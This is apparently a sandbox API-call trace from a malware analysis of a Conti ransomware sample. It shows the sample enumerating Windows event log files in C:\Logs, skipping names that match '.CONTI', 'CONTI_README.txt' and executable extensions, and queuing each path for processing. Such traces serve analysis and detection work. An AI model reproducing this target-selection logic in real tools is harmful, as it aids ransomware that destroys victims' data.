	[0094.790] lstrcmpiW (lpString1="Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx", lpString2="..") returned 1
	[0094.790] StrStrIW (lpFirst="Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx", lpSrch=".CONTI") returned 0x0
	[0094.790] StrStrIW (lpFirst="Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx", lpSrch="CONTI_README.txt") returned 0x0
	[0094.790] StrStrIW (lpFirst="Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx", lpSrch=".exe") returned 0x0
	[0094.790] StrStrIW (lpFirst="Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx", lpSrch=".dll") returned 0x0
	[0094.790] StrStrIW (lpFirst="Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx", lpSrch=".lnk") returned 0x0
	[0094.790] StrStrIW (lpFirst="Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx", lpSrch=".sys") returned 0x0
	[0094.790] StrStrIW (lpFirst="Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx", lpSrch=".CONTI") returned 0x0
	[0094.790] StrStrIW (lpFirst="Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx", lpSrch="CONTI_README.txt") returned 0x0
	[0094.790] lstrlenW (lpString="C:\\Logs") returned 7
	[0094.790] lstrlenW (lpString="Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx") returned 57
	[0094.790] GetProcessHeap () returned 0x1720000
	[0094.790] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x84) returned 0x17c6f28
	[0094.790] lstrcpyW (in: lpString1=0x17c6f28, lpString2="C:\\Logs" | out: lpString1="C:\\Logs") returned="C:\\Logs"
	[0094.790] lstrcatW (in: lpString1="C:\\Logs", lpString2="\\" | out: lpString1="C:\\Logs\\") returned="C:\\Logs\\"
	[0094.790] lstrcatW (in: lpString1="C:\\Logs\\", lpString2="Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx" | out: lpString1="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx") returned="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx"
	[0094.790] PostQueuedCompletionStatus (CompletionPort=0x1b0, dwNumberOfBytesTransferred=0x1, dwCompletionKey=0x0, lpOverlapped=0x17d31d8) returned 1
	[0094.791] FindNextFileW (in: hFindFile=0x175e670, lpFindFileData=0x5c3f8b0 | out: lpFindFileData=0x5c3f8b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd418fcc3, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd418fcc3, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x5c3fb4c, dwReserved1=0xb6a08, cFileName="Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx", cAlternateFileName="MI8196~1.EVT")) returned 1
	[0094.791] lstrcmpiW (lpString1="Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx", lpString2=".") returned 1
	[0094.791] lstrcmpiW (lpString1="Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx", lpString2="..") returned 1
	[0094.791] StrStrIW (lpFirst="Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx", lpSrch=".CONTI") returned 0x0
	[0094.791] StrStrIW (lpFirst="Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx", lpSrch="CONTI_README.txt") returned 0x0
	[0094.791] StrStrIW (lpFirst="Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx", lpSrch=".exe") returned 0x0
	[0094.791] StrStrIW (lpFirst="Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx", lpSrch=".dll") returned 0x0
	[0094.791] StrStrIW (lpFirst="Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx", lpSrch=".lnk") returned 0x0
	[0094.791] StrStrIW (lpFirst="Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx", lpSrch=".sys") returned 0x0
	[0094.791] StrStrIW (lpFirst="Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx", lpSrch=".CONTI") returned 0x0
	[0094.791] StrStrIW (lpFirst="Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx", lpSrch="CONTI_README.txt") returned 0x0
	[0094.791] lstrlenW (lpString="C:\\Logs") returned 7
	[0094.791] lstrlenW (lpString="Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx") returned 56
	[0094.791] GetProcessHeap () returned 0x1720000
	[0094.791] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x82) returned 0x1733bb8
	[0094.791] lstrcpyW (in: lpString1=0x1733bb8, lpString2="C:\\Logs" | out: lpString1="C:\\Logs") returned="C:\\Logs"
	[0094.791] lstrcatW (in: lpString1="C:\\Logs", lpString2="\\" | out: lpString1="C:\\Logs\\") returned="C:\\Logs\\"
	[0094.791] lstrcatW (in: lpString1="C:\\Logs\\", lpString2="Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx" | out: lpString1="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx") returned="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx"
	[0094.791] PostQueuedCompletionStatus (CompletionPort=0x1b0, dwNumberOfBytesTransferred=0x1, dwCompletionKey=0x0, lpOverlapped=0x17d3420) returned 1
	[0094.791] FindNextFileW (in: hFindFile=0x175e670, lpFindFileData=0x5c3f8b0 | out: lpFindFileData=0x5c3f8b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd41b5f2d, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd41b5f2d, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x5c3fb4c, dwReserved1=0xb6a08, cFileName="Microsoft-Windows-AppModel-Runtime%4Admin.evtx", cAlternateFileName="MIE36C~1.EVT")) returned 1
	[0094.791] lstrcmpiW (lpString1="Microsoft-Windows-AppModel-Runtime%4Admin.evtx", lpString2=".") returned 1
	[0094.791] lstrcmpiW (lpString1="Microsoft-Windows-AppModel-Runtime%4Admin.evtx", lpString2="..") returned 1
	[0094.791] StrStrIW (lpFirst="Microsoft-Windows-AppModel-Runtime%4Admin.evtx", lpSrch=".CONTI") returned 0x0
	[0094.791] StrStrIW (lpFirst="Microsoft-Windows-AppModel-Runtime%4Admin.evtx", lpSrch="CONTI_README.txt") returned 0x0
	[0094.791] StrStrIW (lpFirst="Microsoft-Windows-AppModel-Runtime%4Admin.evtx", lpSrch=".exe") returned 0x0
	[0094.791] StrStrIW (lpFirst="Microsoft-Windows-AppModel-Runtime%4Admin.evtx", lpSrch=".dll") returned 0x0
	[0094.791] StrStrIW (lpFirst="Microsoft-Windows-AppModel-Runtime%4Admin.evtx", lpSrch=".lnk") returned 0x0
	[0094.791] StrStrIW (lpFirst="Microsoft-Windows-AppModel-Runtime%4Admin.evtx", lpSrch=".sys") returned 0x0
	[0094.791] StrStrIW (lpFirst="Microsoft-Windows-AppModel-Runtime%4Admin.evtx", lpSrch=".CONTI") returned 0x0
	[0094.791] StrStrIW (lpFirst="Microsoft-Windows-AppModel-Runtime%4Admin.evtx", lpSrch="CONTI_README.txt") returned 0x0
	[0094.791] lstrlenW (lpString="C:\\Logs") returned 7
	[0094.791] lstrlenW (lpString="Microsoft-Windows-AppModel-Runtime%4Admin.evtx") returned 46
	[0094.791] GetProcessHeap () returned 0x1720000
	[0094.791] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x6e) returned 0x17406b8
	[0094.792] lstrcpyW (in: lpString1=0x17406b8, lpString2="C:\\Logs" | out: lpString1="C:\\Logs") returned="C:\\Logs"
	[0094.792] lstrcatW (in: lpString1="C:\\Logs", lpString2="\\" | out: lpString1="C:\\Logs\\") returned="C:\\Logs\\"
	[0094.792] lstrcatW (in: lpString1="C:\\Logs\\", lpString2="Microsoft-Windows-AppModel-Runtime%4Admin.evtx" | out: lpString1="C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx") returned="C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx"
	[0094.792] PostQueuedCompletionStatus (CompletionPort=0x1b0, dwNumberOfBytesTransferred=0x1, dwCompletionKey=0x0, lpOverlapped=0x17d2b00) returned 1
	[0094.792] FindNextFileW (in: hFindFile=0x175e670, lpFindFileData=0x5c3f8b0 | out: lpFindFileData=0x5c3f8b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd389efbd, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd389efbd, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x5c3fb4c, dwReserved1=0xb6a08, cFileName="Microsoft-Windows-AppReadiness%4Admin.evtx", cAlternateFileName="MIC5CB~1.EVT")) returned 1
	[0094.792] lstrcmpiW (lpString1="Microsoft-Windows-AppReadiness%4Admin.evtx", lpString2=".") returned 1
	[0094.792] lstrcmpiW (lpString1="Microsoft-Windows-AppReadiness%4Admin.evtx", lpString2="..") returned 1
	[0094.792] StrStrIW (lpFirst="Microsoft-Windows-AppReadiness%4Admin.evtx", lpSrch=".CONTI") returned 0x0
	[0094.792] StrStrIW (lpFirst="Microsoft-Windows-AppReadiness%4Admin.evtx", lpSrch="CONTI_README.txt") returned 0x0
	[0094.792] StrStrIW (lpFirst="Microsoft-Windows-AppReadiness%4Admin.evtx", lpSrch=".exe") returned 0x0
	[0094.792] StrStrIW (lpFirst="Microsoft-Windows-AppReadiness%4Admin.evtx", lpSrch=".dll") returned 0x0
	[0094.792] StrStrIW (lpFirst="Microsoft-Windows-AppReadiness%4Admin.evtx", lpSrch=".lnk") returned 0x0
	[0094.792] StrStrIW (lpFirst="Microsoft-Windows-AppReadiness%4Admin.evtx", lpSrch=".sys") returned 0x0
	[0094.792] StrStrIW (lpFirst="Microsoft-Windows-AppReadiness%4Admin.evtx", lpSrch=".CONTI") returned 0x0
	[0094.792] StrStrIW (lpFirst="Microsoft-Windows-AppReadiness%4Admin.evtx", lpSrch="CONTI_README.txt") returned 0x0
	[0094.792] lstrlenW (lpString="C:\\Logs") returned 7
	[0094.792] lstrlenW (lpString="Microsoft-Windows-AppReadiness%4Admin.evtx") returned 42
	[0094.792] GetProcessHeap () returned 0x1720000
	[0094.792] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x66) returned 0x1741060
	[0094.792] lstrcpyW (in: lpString1=0x1741060, lpString2="C:\\Logs" | out: lpString1="C:\\Logs") returned="C:\\Logs"
	[0094.792] lstrcatW (in: lpString1="C:\\Logs", lpString2="\\" | out: lpString1="C:\\Logs\\") returned="C:\\Logs\\"
	[0094.792] lstrcatW (in: lpString1="C:\\Logs\\", lpString2="Microsoft-Windows-AppReadiness%4Admin.evtx" | out: lpString1="C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx") returned="C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx"
	[0094.792] PostQueuedCompletionStatus (CompletionPort=0x1b0, dwNumberOfBytesTransferred=0x1, dwCompletionKey=0x0, lpOverlapped=0x17d2d48) returned 1
	[0094.792] FindNextFileW (in: hFindFile=0x175e670, lpFindFileData=0x5c3f8b0 | out: lpFindFileData=0x5c3f8b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd38c5212, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd38c5212, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x111000, dwReserved0=0x5c3fb4c, dwReserved1=0xb6a08, cFileName="Microsoft-Windows-AppReadiness%4Operational.evtx", cAlternateFileName="MIF8AA~1.EVT")) returned 1
	[0094.792] lstrcmpiW (lpString1="Microsoft-Windows-AppReadiness%4Operational.evtx", lpString2=".") returned 1
	[0094.792] lstrcmpiW (lpString1="Microsoft-Windows-AppReadiness%4Operational.evtx", lpString2="..") returned 1
	[0094.792] StrStrIW (lpFirst="Microsoft-Windows-AppReadiness%4Operational.evtx", lpSrch=".CONTI") returned 0x0
	[0094.792] StrStrIW (lpFirst="Microsoft-Windows-AppReadiness%4Operational.evtx", lpSrch="CONTI_README.txt") returned 0x0
	[0094.792] StrStrIW (lpFirst="Microsoft-Windows-AppReadiness%4Operational.evtx", lpSrch=".exe") returned 0x0
	[0094.792] StrStrIW (lpFirst="Microsoft-Windows-AppReadiness%4Operational.evtx", lpSrch=".dll") returned 0x0
	[0094.792] StrStrIW (lpFirst="Microsoft-Windows-AppReadiness%4Operational.evtx", lpSrch=".lnk") returned 0x0
	[0094.792] StrStrIW (lpFirst="Microsoft-Windows-AppReadiness%4Operational.evtx", lpSrch=".sys") returned 0x0
	[0094.793] StrStrIW (lpFirst="Microsoft-Windows-AppReadiness%4Operational.evtx", lpSrch=".CONTI") returned 0x0
	[0094.793] StrStrIW (lpFirst="Microsoft-Windows-AppReadiness%4Operational.evtx", lpSrch="CONTI_README.txt") returned 0x0
	[0094.793] lstrlenW (lpString="C:\\Logs") returned 7
	[0094.793] lstrlenW (lpString="Microsoft-Windows-AppReadiness%4Operational.evtx") returned 48
	[0094.793] GetProcessHeap () returned 0x1720000
	[0094.793] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x72) returned 0x1726e10
	[0094.793] lstrcpyW (in: lpString1=0x1726e10, lpString2="C:\\Logs" | out: lpString1="C:\\Logs") returned="C:\\Logs"
	[0094.793] lstrcatW (in: lpString1="C:\\Logs", lpString2="\\" | out: lpString1="C:\\Logs\\") returned="C:\\Logs\\"
	[0094.793] lstrcatW (in: lpString1="C:\\Logs\\", lpString2="Microsoft-Windows-AppReadiness%4Operational.evtx" | out: lpString1="C:\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx") returned="C:\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx"
	[0094.793] PostQueuedCompletionStatus (CompletionPort=0x1b0, dwNumberOfBytesTransferred=0x1, dwCompletionKey=0x0, lpOverlapped=0x17d58a0) returned 1
	[0094.793] FindNextFileW (in: hFindFile=0x175e670, lpFindFileData=0x5c3f8b0 | out: lpFindFileData=0x5c3f8b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd4143825, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd4143825, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x5c3fb4c, dwReserved1=0xb6a08, cFileName="Microsoft-Windows-AppXDeployment%4Operational.evtx", cAlternateFileName="MI34FE~1.EVT")) returned 1
	[0094.793] lstrcmpiW (lpString1="Microsoft-Windows-AppXDeployment%4Operational.evtx", lpString2=".") returned 1
	[0094.793] lstrcmpiW (lpString1="Microsoft-Windows-AppXDeployment%4Operational.evtx", lpString2="..") returned 1
	[0094.793] StrStrIW (lpFirst="Microsoft-Windows-AppXDeployment%4Operational.evtx", lpSrch=".CONTI") returned 0x0
	[0094.793] StrStrIW (lpFirst="Microsoft-Windows-AppXDeployment%4Operational.evtx", lpSrch="CONTI_README.txt") returned 0x0
	[0094.793] StrStrIW (lpFirst="Microsoft-Windows-AppXDeployment%4Operational.evtx", lpSrch=".exe") returned 0x0
	[0094.793] StrStrIW (lpFirst="Microsoft-Windows-AppXDeployment%4Operational.evtx", lpSrch=".dll") returned 0x0
	[0094.793] StrStrIW (lpFirst="Microsoft-Windows-AppXDeployment%4Operational.evtx", lpSrch=".lnk") returned 0x0
	[0094.793] StrStrIW (lpFirst="Microsoft-Windows-AppXDeployment%4Operational.evtx", lpSrch=".sys") returned 0x0
	[0094.793] StrStrIW (lpFirst="Microsoft-Windows-AppXDeployment%4Operational.evtx", lpSrch=".CONTI") returned 0x0
	[0094.793] StrStrIW (lpFirst="Microsoft-Windows-AppXDeployment%4Operational.evtx", lpSrch="CONTI_README.txt") returned 0x0
	[0094.793] lstrlenW (lpString="C:\\Logs") returned 7
	[0094.793] lstrlenW (lpString="Microsoft-Windows-AppXDeployment%4Operational.evtx") returned 50
	[0094.793] GetProcessHeap () returned 0x1720000
	[0094.793] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x76) returned 0x17bc470
	[0094.793] lstrcpyW (in: lpString1=0x17bc470, lpString2="C:\\Logs" | out: lpString1="C:\\Logs") returned="C:\\Logs"
	[0094.793] lstrcatW (in: lpString1="C:\\Logs", lpString2="\\" | out: lpString1="C:\\Logs\\") returned="C:\\Logs\\"
	[0094.793] lstrcatW (in: lpString1="C:\\Logs\\", lpString2="Microsoft-Windows-AppXDeployment%4Operational.evtx" | out: lpString1="C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx") returned="C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx"
	[0094.793] PostQueuedCompletionStatus (CompletionPort=0x1b0, dwNumberOfBytesTransferred=0x1, dwCompletionKey=0x0, lpOverlapped=0x17d5f78) returned 1
	[0094.793] FindNextFileW (in: hFindFile=0x175e670, lpFindFileData=0x5c3f8b0 | out: lpFindFileData=0x5c3f8b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5af3554f, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x5af3554f, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x211000, dwReserved0=0x5c3fb4c, dwReserved1=0xb6a08, cFileName="Microsoft-Windows-AppXDeploymentServer%4Operational.evtx", cAlternateFileName="MIA24C~1.EVT")) returned 1
	[0094.793] lstrcmpiW (lpString1="Microsoft-Windows-AppXDeploymentServer%4Operational.evtx", lpString2=".") returned 1
	[0094.793] lstrcmpiW (lpString1="Microsoft-Windows-AppXDeploymentServer%4Operational.evtx", lpString2="..") returned 1
	[0094.793] StrStrIW (lpFirst="Microsoft-Windows-AppXDeploymentServer%4Operational.evtx", lpSrch=".CONTI") returned 0x0
	[0094.794] StrStrIW (lpFirst="Microsoft-Windows-AppXDeploymentServer%4Operational.evtx", lpSrch="CONTI_README.txt") returned 0x0
	[0094.794] StrStrIW (lpFirst="Microsoft-Windows-AppXDeploymentServer%4Operational.evtx", lpSrch=".exe") returned 0x0
	[0094.794] StrStrIW (lpFirst="Microsoft-Windows-AppXDeploymentServer%4Operational.evtx", lpSrch=".dll") returned 0x0
	[0094.794] StrStrIW (lpFirst="Microsoft-Windows-AppXDeploymentServer%4Operational.evtx", lpSrch=".lnk") returned 0x0
	[0094.794] StrStrIW (lpFirst="Microsoft-Windows-AppXDeploymentServer%4Operational.evtx", lpSrch=".sys") returned 0x0
	[0094.794] StrStrIW (lpFirst="Microsoft-Windows-AppXDeploymentServer%4Operational.evtx", lpSrch=".CONTI") returned 0x0
	[0094.794] StrStrIW (lpFirst="Microsoft-Windows-AppXDeploymentServer%4Operational.evtx", lpSrch="CONTI_README.txt") returned 0x0
	[0094.794] lstrlenW (lpString="C:\\Logs") returned 7
	[0094.794] lstrlenW (lpString="Microsoft-Windows-AppXDeploymentServer%4Operational.evtx") returned 56
	[0094.794] GetProcessHeap () returned 0x1720000
	[0094.794] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x82) returned 0x17bfc58
	[0094.794] lstrcpyW (in: lpString1=0x17bfc58, lpString2="C:\\Logs" | out: lpString1="C:\\Logs") returned="C:\\Logs"
	[0094.794] lstrcatW (in: lpString1="C:\\Logs", lpString2="\\" | out: lpString1="C:\\Logs\\") returned="C:\\Logs\\"
	[0094.794] lstrcatW (in: lpString1="C:\\Logs\\", lpString2="Microsoft-Windows-AppXDeploymentServer%4Operational.evtx" | out: lpString1="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx") returned="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx"
	[0094.794] PostQueuedCompletionStatus (CompletionPort=0x1b0, dwNumberOfBytesTransferred=0x1, dwCompletionKey=0x0, lpOverlapped=0x17d3668) returned 1
	[0094.794] FindNextFileW (in: hFindFile=0x175e670, lpFindFileData=0x5c3f8b0 | out: lpFindFileData=0x5c3f8b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5af3554f, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x5af3554f, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x95ae023d, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x5c3fb4c, dwReserved1=0xb6a08, cFileName="Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx", cAlternateFileName="MIDBEC~1.EVT")) returned 1
	[0094.794] lstrcmpiW (lpString1="Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx", lpString2=".") returned 1
	[0094.794] lstrcmpiW (lpString1="Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx", lpString2="..") returned 1
	[0094.794] StrStrIW (lpFirst="Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx", lpSrch=".CONTI") returned 0x0
	[0094.794] StrStrIW (lpFirst="Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx", lpSrch="CONTI_README.txt") returned 0x0
	[0094.794] StrStrIW (lpFirst="Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx", lpSrch=".exe") returned 0x0
	[0094.794] StrStrIW (lpFirst="Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx", lpSrch=".dll") returned 0x0
	[0094.794] StrStrIW (lpFirst="Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx", lpSrch=".lnk") returned 0x0
	[0094.794] StrStrIW (lpFirst="Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx", lpSrch=".sys") returned 0x0
	[0094.794] StrStrIW (lpFirst="Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx", lpSrch=".CONTI") returned 0x0
	[0094.794] StrStrIW (lpFirst="Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx", lpSrch="CONTI_README.txt") returned 0x0
	[0094.794] lstrlenW (lpString="C:\\Logs") returned 7
	[0094.794] lstrlenW (lpString="Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx") returned 55
	[0094.794] GetProcessHeap () returned 0x1720000
	[0094.794] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x80) returned 0x176b8a8
	[0094.794] lstrcpyW (in: lpString1=0x176b8a8, lpString2="C:\\Logs" | out: lpString1="C:\\Logs") returned="C:\\Logs"
	[0094.794] lstrcatW (in: lpString1="C:\\Logs", lpString2="\\" | out: lpString1="C:\\Logs\\") returned="C:\\Logs\\"
	[0094.794] lstrcatW (in: lpString1="C:\\Logs\\", lpString2="Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx" | out: lpString1="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx") returned="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx"
	[0094.795] PostQueuedCompletionStatus (CompletionPort=0x1b0, dwNumberOfBytesTransferred=0x1, dwCompletionKey=0x0, lpOverlapped=0x17d3af8) returned 1
	[0094.795] FindNextFileW (in: hFindFile=0x175e670, lpFindFileData=0x5c3f8b0 | out: lpFindFileData=0x5c3f8b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85798667, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x85798667, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x95ae023d, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x5c3fb4c, dwReserved1=0xb6a08, cFileName="Microsoft-Windows-AppxPackaging%4Operational.evtx", cAlternateFileName="MI54F1~1.EVT")) returned 1
	[0094.795] lstrcmpiW (lpString1="Microsoft-Windows-AppxPackaging%4Operational.evtx", lpString2=".") returned 1
	[0094.795] lstrcmpiW (lpString1="Microsoft-Windows-AppxPackaging%4Operational.evtx", lpString2="..") returned 1
	[0094.795] StrStrIW (lpFirst="Microsoft-Windows-AppxPackaging%4Operational.evtx", lpSrch=".CONTI") returned 0x0
	[0094.795] StrStrIW (lpFirst="Microsoft-Windows-AppxPackaging%4Operational.evtx", lpSrch="CONTI_README.txt") returned 0x0
	[0094.795] StrStrIW (lpFirst="Microsoft-Windows-AppxPackaging%4Operational.evtx", lpSrch=".exe") returned 0x0
	[0094.795] StrStrIW (lpFirst="Microsoft-Windows-AppxPackaging%4Operational.evtx", lpSrch=".dll") returned 0x0
	[0094.795] StrStrIW (lpFirst="Microsoft-Windows-AppxPackaging%4Operational.evtx", lpSrch=".lnk") returned 0x0
	[0094.795] StrStrIW (lpFirst="Microsoft-Windows-AppxPackaging%4Operational.evtx", lpSrch=".sys") returned 0x0
	[0094.795] StrStrIW (lpFirst="Microsoft-Windows-AppxPackaging%4Operational.evtx", lpSrch=".CONTI") returned 0x0
	[0094.795] StrStrIW (lpFirst="Microsoft-Windows-AppxPackaging%4Operational.evtx", lpSrch="CONTI_README.txt") returned 0x0
	[0094.795] lstrlenW (lpString="C:\\Logs") returned 7
	[0094.795] lstrlenW (lpString="Microsoft-Windows-AppxPackaging%4Operational.evtx") returned 49
	[0094.795] GetProcessHeap () returned 0x1720000
	[0094.795] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x74) returned 0x17bfce8
	[0094.795] lstrcpyW (in: lpString1=0x17bfce8, lpString2="C:\\Logs" | out: lpString1="C:\\Logs") returned="C:\\Logs"
	[0094.795] lstrcatW (in: lpString1="C:\\Logs", lpString2="\\" | out: lpString1="C:\\Logs\\") returned="C:\\Logs\\"
	[0094.795] lstrcatW (in: lpString1="C:\\Logs\\", lpString2="Microsoft-Windows-AppxPackaging%4Operational.evtx" | out: lpString1="C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx") returned="C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx"
	[0094.795] PostQueuedCompletionStatus (CompletionPort=0x1b0, dwNumberOfBytesTransferred=0x1, dwCompletionKey=0x0, lpOverlapped=0x17d5658) returned 1
	[0094.795] FindNextFileW (in: hFindFile=0x175e670, lpFindFileData=0x5c3f8b0 | out: lpFindFileData=0x5c3f8b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd74d25ab, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd74d25ab, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x5c3fb4c, dwReserved1=0xb6a08, cFileName="Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx", cAlternateFileName="MI111F~1.EVT")) returned 1
	[0094.795] lstrcmpiW (lpString1="Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx", lpString2=".") returned 1
	[0094.795] lstrcmpiW (lpString1="Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx", lpString2="..") returned 1
	[0094.795] StrStrIW (lpFirst="Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx", lpSrch=".CONTI") returned 0x0
	[0094.795] StrStrIW (lpFirst="Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx", lpSrch="CONTI_README.txt") returned 0x0
	[0094.795] StrStrIW (lpFirst="Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx", lpSrch=".exe") returned 0x0
	[0094.795] StrStrIW (lpFirst="Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx", lpSrch=".dll") returned 0x0
	[0094.795] StrStrIW (lpFirst="Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx", lpSrch=".lnk") returned 0x0
	[0094.795] StrStrIW (lpFirst="Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx", lpSrch=".sys") returned 0x0
	[0094.795] StrStrIW (lpFirst="Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx", lpSrch=".CONTI") returned 0x0
	[0094.795] StrStrIW (lpFirst="Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx", lpSrch="CONTI_README.txt") returned 0x0
	[0094.795] lstrlenW (lpString="C:\\Logs") returned 7
	[0094.795] lstrlenW (lpString="Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx") returned 64
	[0094.796] GetProcessHeap () returned 0x1720000
	[0094.796] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x92) returned 0x173fcf0
